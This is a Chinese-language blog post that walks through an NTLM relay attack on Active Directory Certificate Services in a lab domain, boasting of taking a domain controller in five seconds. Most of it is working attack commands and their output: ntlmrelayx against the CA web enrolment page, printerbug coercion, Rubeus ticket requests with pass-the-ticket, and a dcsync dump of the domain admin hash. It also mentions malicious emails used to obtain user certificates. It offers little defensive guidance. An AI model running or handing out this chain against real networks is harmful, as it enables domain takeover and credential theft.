域控?Exchange? Sharepoint? 个人PC? 个人域账号/邮箱?域森林?统统只要5秒打下.
域内定位CA机器的方法较多, 常见如下
certutil -config - -ping
测试网络联通性
curl 192.168.44.150/certsrv/ -I
简单探测AD CS
错误配置
本地监听和指定攻击目标 dc2 192.168.44.150
python ntlmrelayx.py -t http://192.168.44.150/certsrv/certfnsh.asp -smb2support --adcs
打印机协议触发回连Bypass监控规则
python printerbug.py corp/lower_user:yourpass@192.168.44.163 192.168.44.131
中继获取证书
[*] Base64 certificate of user EX03$:
LONGLONGLONGSTR**********==
Rubeus一键梭哈
Rubeus.exe asktgt /user:EX03$ /certificate:LONGLONGLONGSTR**********== /ptt
Rubeus生成票据并注入
C:\adcs>Rubeu_S.exe asktgt /user:EX03$ /certificate:bas64_cert_str /ptt
//返回
v1.6.4
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=ex03.BSEC.corp
[*] Building AS-REQ (w/ PKINIT preauth) for: 'BSEC.corp\EX03$'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIF**LongLongStrOfBase64Ticket.Kirbi***==
[+] Ticket successfully imported!
ServiceName : krbtgt/BSEC.corp
ServiceRealm : BSEC.CORP
UserName : EX03$
UserRealm : BSEC.CORP
StartTime : 2021/7/6 13:52:35
EndTime : 2021/7/6 23:52:35
RenewTill : 2021/7/13 13:52:35
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : XpO52RXSeAo6OdEfC+7kQQ==
注入票据前为低权限
账号
注入票据后
生成的票据拿到rubues/mimikatz
都是可以的,转换成ccache
,也可以用到impacket工具包
里
生成的证书会在较长的时间内有效默认一年有效期
前部分操作如上文
可以注入域控DC3$
的身份
接下来我们用DC3$
的身份, 进行 dcsync
导出域管dcadmin
的hash
域内员工
补丁更新到最新. 系统为win10 ltsc
发送几封恶意邮件, 使用最新版的outlook
和foxmail
打开
均成功获取域账号win10
的个人证书
使用该证书登陆win10 ltsc
这台机器, 或者查看邮件等,都是可以的. 无论域用户 win10
修改多少次密码,密码强度如何, 证书默认会一年有效,并可以进行续签
同样进行NTLM relay
使用relay
签发的证书,可见身份已经从bsec.ccop\low_user
到了forest-a.bsec.ccop\DC01$
的域管机器账号
certsrv
相关信息
签发请求相关流量csr
POST /certsrv/certfnsh.asp HTTP/1.1
Host: 192.168.44.150
Accept-Encoding: identity
Content-Length: 1699
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Mode=newreq&CertRequest=-----BEGIN+CERTIFICATE+REQUEST-----*****-----END+CERTIFICATE+REQUEST-----&CertAttrib=Info_Template&TargetStoreFlags=0&SaveCert=yes&ThumbPrint=
微软AD CS
签发证书流量
openssl查看relay
盗签的证书信息
域CA
的证书管理信息, 可以发现relay
签发的证书,也可以吊销
Certmgr.msc
查看加域机器
自动植入的Root CA
一张证书身份
可以干什么
获取的不仅是Tickets
涉及的不仅是域内
每个加域的电脑都自动安装了AD CS
下发的根证书想想攻击面😄
如果攻击或盗取了Root CA
或Sub CA
? 攻击面又有多大😄
利用AD CS(需要开启证书颁发机构Web注册
Web接口), 将目标机器账号的权限, relay到AD CS 80 web
实现pki身份
的持久化(SMB Relay到 HTTP).
全程利用了域内正常服务打印机协议/Pki Web注册
, 实现了低危害操作组合拳5秒打域控/Exchange/PC/域森林;
攻击入口不仅是打印机协议
, 只要可控机器账号/域账号
外发认证,即可实现组合拳,攻击面很广,攻击链路比较多.本文不过多赘述
另外用了PKI/HSM就一定安全了么?不管是开源或外采,抑或微软的PKI,攻防一直在持续.
为了不影响文章的主干和脉络清晰,很多点没有展开,如果有机会再来叨叨
本文只涉及 AD CS **攻击面的冰山一角**
由于2019年的一系列
smb/http/*->ldap
等组合拳,微软和企业IT运维在全球范围内,迅速推进了ldaps
的进程,里面开启pki
系列服务时,如不小心勾选了证书颁发机构Web注册
, 即会带来此次的攻击面. (默认只需要勾选证书颁发机构
)
百度/谷歌部分ldaps开启部署教程中,不少截图标识了要勾选证书颁发机构Web注册
😄
反思: 在消弭一些漏洞的历程中,新的动作和变更,又会引入新的攻击面和链路,这也正是攻防的魅力所在。
知道你们只想一把梭,写了也不会看,有需求的可以私聊我
一起讨论.
企业安全建设实践的相关朋友,也可以加群交流学习, 守望互助. 联系方式你应该找的到
一些AD CS
的资料打包了下, 公众号回复adcs
自取.
本人获取的信息/进行的思考/完成的实践,肯定有欠缺或错漏,如有意见和建议
欢迎私聊.
Certified Pre-Owned2021年6月17发布
AD CS relay attack - practical guide2021年6月17发布
Credits @harmj0y @specterops @exandroiddev
specterops
的白皮书发了快一个月了, 花1个小时过一遍,不亏.